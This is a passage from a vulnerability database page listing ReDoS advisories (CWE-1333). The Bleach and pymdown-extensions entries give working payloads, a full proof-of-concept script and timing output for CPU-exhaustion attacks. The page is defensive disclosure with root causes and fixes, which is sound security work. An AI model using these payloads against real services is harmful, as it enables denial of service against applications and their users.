Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

792 vulnerabilities reference this CWE, most recent first.

GHSA-G75F-G53V-794X

Vulnerability from github – Published: 2026-06-16 14:07 – Updated: 2026-06-16 14:07
VLAI
Summary
Bleach linkify(parse_email=True) CPU exhaustion via unbounded email regex scanning
Details

Summary

Bleach 6.3.0 exposes a documented email-linkification path through bleach.linkify(..., parse_email=True). The implementation scans attacker-controlled text with EMAIL_RE.finditer() over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.

Affected Product

  • Package: bleach
  • Ecosystem: pip
  • Affected versions: verified in 6.3.0; exact first affected version not established
  • Patched versions: none known at finalization time
  • Tested version: 6.3.0
  • Audit commit/tag: v6.3.0 / 5546d5dbce60d08ccb99d981778d74044d646d4e
  • PyPI sdist SHA256: 6f3b91b1c0a02bb9a78b5a454c92506aa0fdf197e1d5e114d2e00c6f64306d22

Vulnerability Details

  • CWE: CWE-1333: Inefficient Regular Expression Complexity; related availability impact maps to CWE-400
  • Component: bleach/linkifier.py, build_email_re(), LinkifyFilter.handle_email_addresses()
  • Root cause: handle_email_addresses() calls self.email_re.finditer(text) on attacker-controlled text. EMAIL_RE includes a repeated dot-atom local-part pattern, so non-email strings such as repeated a. segments with no @ force repeated long failing scans.
  • Security boundary violated: user-submitted text processed by a documented safe linkification helper should not allow an attacker to impose superlinear CPU cost through non-email text.
  • Direct impact: per-request CPU exhaustion / denial-of-service risk in applications that enable parse_email=True on attacker-controlled text.
  • Chain impact, if any: one proof run observed an unrelated /health request delayed during a concurrent attack request, but this was not reliable across reviewer retests. Treat cross-request service degradation as environment-dependent supporting evidence, not the primary impact.
  • Severity estimate: Medium / availability-only. The feature is opt-in and deployment body limits/timeouts affect practical severity.

Relevant code path: - bleach/__init__.py:85-125: public linkify(text, ..., parse_email=False) constructs Linker(..., parse_email=parse_email) and calls linker.linkify(text). - bleach/linkifier.py:77-88: EMAIL_RE is compiled from the dot-atom email pattern. - bleach/linkifier.py:292-301: handle_email_addresses() applies self.email_re.finditer(text) to each character token. - bleach/linkifier.py:620-623: character tokens are routed into email handling only when parse_email is true. - docs/goals.rst:30-40: Bleach documents user comments, profile bios, and descriptions as target untrusted text use cases. - docs/linkify.rst:300-305: parse_email=True is the documented option for creating mailto: links.

Attack Preconditions

  • The consuming application enables the documented parse_email=True option, for example bleach.linkify(user_text, parse_email=True) or Linker(parse_email=True).linkify(user_text).
  • The attacker can submit text that reaches that linkification path. Authentication depends on the host application; a public comment form would make this unauthenticated, while account-only text fields require user privileges.
  • The application allows roughly 20-30 KB of text to reach Bleach and lacks a strict timeout or input cap before linkification.
  • No custom bounded email_re is supplied.

Reproduction

Minimal API trigger:

import bleach
payload = ("a." * 15000) + "a"
bleach.linkify(payload, parse_email=True)

The saved HTTP proof uses a local harness with POST /preview calling bleach.linkify(request_body, parse_email=True) and a control endpoint using parse_email=False on the same payload. The exploit sends baseline/control/attack requests over HTTP to 127.0.0.1.

Proof Evidence

The proof ran against Bleach 6.3.0 installed from the audited local checkout in an isolated temporary venv. It used Python 3.12.3 on Linux.

Measured HTTP proof results: - Payload: ("a." * 15000) + "a" (30001 bytes) - Normal baseline /preview mean: 0.001425 seconds - Same 30 KB payload with parse_email=False: 0.048349 seconds - Attack payload with parse_email=True: 8.719818 seconds - Slowdown versus the larger baseline/control mean: 180.35x - Requests sent by proof: 20

Evidence files: poc.py poc_results.json exploit_proof.py exploit_results.json

Scope and Limitations

  • This report does not claim XSS, authentication bypass, data disclosure, remote code execution, persistent crash, or persistent service outage.
  • parse_email=True is not the default. The affected path is a documented opt-in feature.
  • The exact first affected version is not established.
  • Practical impact depends on host application input limits, worker model, request timeout policy, and whether untrusted users can submit text to an email-linkification path.
  • A reviewer reproduced the direct CPU cost but did not reproduce the proof harness’s /health delay. The direct impact claim is therefore limited to per-request CPU exhaustion.
  • Bleach is marked deprecated in README.rst, and SECURITY.md has stale supported-version text, but the package still has a 2025 PyPI release and published Mozilla security reporting routes.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bleach"
      },
      "versions": [
        "6.3.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:07:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nBleach 6.3.0 exposes a documented email-linkification path through `bleach.linkify(..., parse_email=True)`. The implementation scans attacker-controlled text with `EMAIL_RE.finditer()` over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.\n\n## Affected Product\n- Package: `bleach`\n- Ecosystem: pip\n- Affected versions: verified in `6.3.0`; exact first affected version not established\n- Patched versions: none known at finalization time\n- Tested version: `6.3.0`\n- Audit commit/tag: `v6.3.0` / `5546d5dbce60d08ccb99d981778d74044d646d4e`\n- PyPI sdist SHA256: `6f3b91b1c0a02bb9a78b5a454c92506aa0fdf197e1d5e114d2e00c6f64306d22`\n\n## Vulnerability Details\n- CWE: CWE-1333: Inefficient Regular Expression Complexity; related availability impact maps to CWE-400\n- Component: `bleach/linkifier.py`, `build_email_re()`, `LinkifyFilter.handle_email_addresses()`\n- Root cause: `handle_email_addresses()` calls `self.email_re.finditer(text)` on attacker-controlled text. `EMAIL_RE` includes a repeated dot-atom local-part pattern, so non-email strings such as repeated `a.` segments with no `@` force repeated long failing scans.\n- Security boundary violated: user-submitted text processed by a documented safe linkification helper should not allow an attacker to impose superlinear CPU cost through non-email text.\n- Direct impact: per-request CPU exhaustion / denial-of-service risk in applications that enable `parse_email=True` on attacker-controlled text.\n- Chain impact, if any: one proof run observed an unrelated `/health` request delayed during a concurrent attack request, but this was not reliable across reviewer retests. Treat cross-request service degradation as environment-dependent supporting evidence, not the primary impact.\n- Severity estimate: Medium / availability-only. The feature is opt-in and deployment body limits/timeouts affect practical severity.\n\nRelevant code path:\n- `bleach/__init__.py:85-125`: public `linkify(text, ..., parse_email=False)` constructs `Linker(..., parse_email=parse_email)` and calls `linker.linkify(text)`.\n- `bleach/linkifier.py:77-88`: `EMAIL_RE` is compiled from the dot-atom email pattern.\n- `bleach/linkifier.py:292-301`: `handle_email_addresses()` applies `self.email_re.finditer(text)` to each character token.\n- `bleach/linkifier.py:620-623`: character tokens are routed into email handling only when `parse_email` is true.\n- `docs/goals.rst:30-40`: Bleach documents user comments, profile bios, and descriptions as target untrusted text use cases.\n- `docs/linkify.rst:300-305`: `parse_email=True` is the documented option for creating `mailto:` links.\n\n## Attack Preconditions\n- The consuming application enables the documented `parse_email=True` option, for example `bleach.linkify(user_text, parse_email=True)` or `Linker(parse_email=True).linkify(user_text)`.\n- The attacker can submit text that reaches that linkification path. Authentication depends on the host application; a public comment form would make this unauthenticated, while account-only text fields require user privileges.\n- The application allows roughly 20-30 KB of text to reach Bleach and lacks a strict timeout or input cap before linkification.\n- No custom bounded `email_re` is supplied.\n\n## Reproduction\nMinimal API trigger:\n\n```python\nimport bleach\npayload = (\"a.\" * 15000) + \"a\"\nbleach.linkify(payload, parse_email=True)\n```\n\nThe saved HTTP proof uses a local harness with `POST /preview` calling `bleach.linkify(request_body, parse_email=True)` and a control endpoint using `parse_email=False` on the same payload. The exploit sends baseline/control/attack requests over HTTP to `127.0.0.1`.\n\n## Proof Evidence\nThe proof ran against Bleach `6.3.0` installed from the audited local checkout in an isolated temporary venv. It used Python `3.12.3` on Linux.\n\nMeasured HTTP proof results:\n- Payload: `(\"a.\" * 15000) + \"a\"` (`30001` bytes)\n- Normal baseline `/preview` mean: `0.001425` seconds\n- Same 30 KB payload with `parse_email=False`: `0.048349` seconds\n- Attack payload with `parse_email=True`: `8.719818` seconds\n- Slowdown versus the larger baseline/control mean: `180.35x`\n- Requests sent by proof: `20`\n\nEvidence files:\n[poc.py](https://github.com/user-attachments/files/27129729/poc.py)\n[poc_results.json](https://github.com/user-attachments/files/27129737/poc_results.json)\n[exploit_proof.py](https://github.com/user-attachments/files/27129751/exploit_proof.py)\n[exploit_results.json](https://github.com/user-attachments/files/27129752/exploit_results.json)\n\n## Scope and Limitations\n- This report does not claim XSS, authentication bypass, data disclosure, remote code execution, persistent crash, or persistent service outage.\n- `parse_email=True` is not the default. The affected path is a documented opt-in feature.\n- The exact first affected version is not established.\n- Practical impact depends on host application input limits, worker model, request timeout policy, and whether untrusted users can submit text to an email-linkification path.\n- A reviewer reproduced the direct CPU cost but did not reproduce the proof harness\u2019s `/health` delay. The direct impact claim is therefore limited to per-request CPU exhaustion.\n- Bleach is marked deprecated in `README.rst`, and `SECURITY.md` has stale supported-version text, but the package still has a 2025 PyPI release and published Mozilla security reporting routes.",
  "id": "GHSA-g75f-g53v-794x",
  "modified": "2026-06-16T14:07:30Z",
  "published": "2026-06-16T14:07:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/bleach/security/advisories/GHSA-g75f-g53v-794x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/bleach"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bleach linkify(parse_email=True) CPU exhaustion via unbounded email regex scanning"
}

GHSA-G76P-CFX7-WH4J

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32
VLAI
Details

SAP S/4HANA (Private Cloud) uses a third-party component that contains a Regular Expression Denial of Service (ReDoS) vulnerability. An unauthenticated attacker could supply specially crafted input that triggers excessive processing within the affected functionality. Successful exploitation could exhaust system resources and make the service unavailable, resulting in a high impact on availability. There is no impact on confidentiality and integrity.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-66766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T01:16:37Z",
    "severity": "HIGH"
  },
  "details": "SAP S/4HANA (Private Cloud) uses a third-party component that contains a Regular Expression Denial of Service (ReDoS) vulnerability. An unauthenticated attacker could supply specially crafted input that triggers excessive processing within the affected functionality. Successful exploitation could exhaust system resources and make the service unavailable, resulting in a high impact on availability. There is no impact on confidentiality and integrity.",
  "id": "GHSA-g76p-cfx7-wh4j",
  "modified": "2026-08-25T03:32:08Z",
  "published": "2026-08-25T03:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66766"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3771065"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCHV-QQ48-9RJW

Vulnerability from github – Published: 2026-07-22 15:31 – Updated: 2026-07-22 15:31
VLAI
Details

Open Mercato does not validate regex rules. An attacker with privileges to create the regex rule can add an unsafe regex to a field. When someone provide the proper string it can result in a DoS attack.

This issue was fixed in version 0.6.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T13:16:36Z",
    "severity": "MODERATE"
  },
  "details": "Open Mercato does not validate regex rules. An attacker with privileges to create the regex rule can add an unsafe regex to a field. When someone provide the proper string it can result in a DoS attack.\n\n\nThis issue was fixed in version 0.6.4.",
  "id": "GHSA-gchv-qq48-9rjw",
  "modified": "2026-07-22T15:31:20Z",
  "published": "2026-07-22T15:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-mercato/open-mercato/pull/1996"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/07/CVE-2026-16270"
    },
    {
      "type": "WEB",
      "url": "https://www.openmercato.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GM37-52C6-37MW

Vulnerability from github – Published: 2026-08-07 18:26 – Updated: 2026-08-07 18:26
VLAI
Summary
pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up:

Extension Regex Location (11.0)
pymdownx.caret (superscript ^…^) SUP2 pymdownx/caret.py:56
pymdownx.tilde (subscript ~…~) SUB2 pymdownx/tilde.py:55
pymdownx.betterem (underscore _…_) SMART_UNDER_EM2 (default) pymdownx/betterem.py:93
pymdownx.magiclink (bare-URL autolink) RE_LINK pymdownx/magiclink.py:56 (host at :59)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2 (betterem) are the same construct for ~ and _. In betterem the default smart_enable='underscore' routes underscores to SmartUnderscoreProcessorSMART_UNDER_EM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when smart_enable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang


class Timeout(Exception):
    pass


def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)


# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:

# pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:

  • General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using pymdownx.extra, which bundles betterem with the vulnerable default smart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer.
  • Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.

  • Attacker: unauthenticated, remote (anyone who can submit Markdown).

  • Configuration: default for each extension.
  • Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RE_LINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.

References

  • Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2), pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2, default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56 (RE_LINK, host subexpression at :59).
  • Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. The caret/tilde/betterem content groups gained the vulnerable {2,} alternation in PR #2547 (v10.13); earlier releases used a linear (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pymdown-extensions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67422"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T18:26:07Z",
    "nvd_published_at": "2026-08-06T22:18:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension\u0027s **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) \u2014 earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group \u2014 and is present through **11.0** (latest);\n`magiclink`\u0027s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape \u2014 an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^\u2026^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~\u2026~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_\u2026_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r\u0027(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)\u0027\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into \u22652-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable=\u0027underscore\u0027` routes underscores to `SmartUnderscoreProcessor` \u2192\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: \u0027\\.\u0027 and \u0027[-\\w.]\u0027 inside (?:...)* both match \u0027.\u0027\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive \u2014 the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version(\u0027pymdown-extensions\u0027)} / markdown {version(\u0027markdown\u0027)}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{\u0027\u003e %.0f s (HANG)\u0027 % CAP if hung else \u0027%.3f s\u0027 % dt}\")\n    ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n    repro.append(ok)\n    print(f\"          =\u003e {\u0027REPRODUCED\u0027 if ok else \u0027not reproduced\u0027}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions\u0027 own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  